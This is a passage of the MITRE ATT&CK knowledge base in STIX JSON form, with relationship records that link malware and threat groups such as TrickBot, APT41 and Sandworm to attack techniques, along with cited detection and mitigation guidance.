2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-16T16:43:12.192Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is capable of logging keystrokes.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52295ccb-0df2-4395-8bed-1c561c3a9f59","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor)(Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub DCSYNCMonitor","description":"Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.","url":"https://github.com/shellster/DCSYNCMonitor"},{"source_name":"DCShadow Blog","description":"Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.","url":"https://www.dcshadow.com/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--522c6f48-e608-420d-a5c8-ded1002149a6","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--522d72b0-e8ff-43d9-bd2d-911f7b5c89a4","created":"2024-07-01T15:33:06.904Z","revoked":false,"external_references":[{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:33:06.904Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used scheduled tasks created via Group Policy Objects (GPOs) to deploy ransomware.(Citation: apt41_mandiant)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5235fbdb-5c53-4860-a459-cd4b538817db","type":"relationship","created":"2019-01-30T14:11:44.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2020-09-14T19:25:41.222Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence by creating an autostart service that allows it to run whenever the machine boots.(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5235ff3c-646a-4608-b90e-394bc2c54330","created":"2022-06-10T14:48:53.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:36:13.283Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used the AD Explorer tool to enumerate users on a victim's network.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5238d74f-8d6c-420f-a521-f68937934842","type":"relationship","created":"2022-02-18T16:24:44.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:24:44.198Z","description":"[PowerPunch](https://attack.mitre.org/software/S0685) has the ability to execute through PowerShell.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5239c6fe-bb67-48c0-bd77-2267e1e71cf3","type":"relationship","created":"2020-07-16T15:10:35.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:10:35.341Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can find the external IP address of the infected host.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--523ef32d-7463-4774-a473-fcccb5b0dadd","type":"relationship","created":"2020-03-26T19:33:32.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T18:44:34.014Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.\n\nEnsure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--524261f3-8b87-4c99-b99b-1e78032f072c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.243Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) lists local users and session information.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5246b52e-cb6c-43da-84e5-dff0172abaea","created":"2022-07-29T19:49:02.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Metamorfo Apr 2018","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:24:41.175Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has a command to delete a Registry key it uses, \\Software\\Microsoft\\Internet Explorer\\notes.(Citation: FireEye Metamorfo Apr 2018)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5249b0e7-878e-44db-9d59-f162067f1852","type":"relationship","created":"2019-01-29T21:33:34.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.930Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) captures screenshots in .jpg format and then exfiltrates them.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--524d0765-bef8-4146-b218-aa8a20719348","created":"2024-09-23T20:41:09.663Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:41:09.663Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used Telegram Messenger content to discover the IP address for C2 communications.(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--524d34f7-ce44-4955-9ff0-fdd3035262b0","created":"2022-06-09T18:57:24.077Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used `cmd.exe` and `.bat` scripts for execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:16:35.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52516649-550a-4930-8ed1-27391aad0379","created":"2022-03-24T11:46:08.713Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to inspect system time.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:33:05.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5253d038-08a8-4d17-9549-bbcf67c37603","type":"relationship","created":"2020-08-12T17:52:48.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:39:07.608Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has compromised targets via strategic web compromise (SWC) utilizing a custom exploit kit.(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--525624eb-cb0e-48b4-aa53-725a33696c8c","created":"2023-12-21T21:39:48.112Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:39:48.112Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used compromised user accounts to deploy payloads and create system services.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5259c2ae-964d-49b6-a7e7-6246e748369f","created":"2020-06-10T19:35:58.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Telebots Dec 2016","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"},{"source_name":"Google_WinRAR_vuln_2023","description":"Morgan, K. (2023, October 18). Government-backed actors exploiting WinRAR vulnerability. Retrieved July 19, 2024.","url":"https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"},{"source_name":"US-CERT Ukraine Feb 2016","description":"US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020.","url":"https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01"},{"source_name":"iSight Sandworm Oct 2014","description":"Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved June 10, 2020.","url":"https://web.archive.org/web/20160503234007/https://www.isightpartners.com/2014/10/cve-2014-4114/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:10:14.700Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has delivered malicious Microsoft Office and ZIP file attachments via spearphishing emails.(Citation: iSight Sandworm Oct 2014)(Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Google_WinRAR_vuln_2023)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5260f605-09d0-4d96-9239-9b93a76d0cbe","type":"relationship","created":"2021-01-06T16:56:56.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.261Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected information from a compromised host.(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52625b6a-41f0-4e87-ba03-5c037425c245","created":"2023-08-01T18:45:52.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.459Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use HTTP and HTTPS over port 443 to communicate with actor-controlled C2 servers.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5266fdd9-f62e-4412-b5d0-d26ba6d5a1ab","type":"relationship","created":"2020-06-10T19:31:48.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.434Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to add itself to the Registry Run key for persistence.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52741f41-28c6-4533-bd26-6dc21f6b0794","type":"relationship","created":"2020-05-12T21:44:40.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.358Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) listed all non-privileged and privileged accounts available on the machine.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-07-06T16:11:56.829Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect information on the victim's anti-virus software.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5279a80d-fe4c-45f5-a963-252e02640167","type":"relationship","created":"2021-08-27T20:12:22.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft_rec_block_rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules","description":"Microsoft. (2021, August 23). Retrieved August 16, 2021."}],"modified":"2022-03-11T20:45:59.350Z","description":"On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.(Citation: Microsoft_rec_block_rules)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--527b9fde-f641-46ae-8e10-1e23e3ec632d","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:57:16.034Z","description":"Monitor executed commands and arguments that may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few 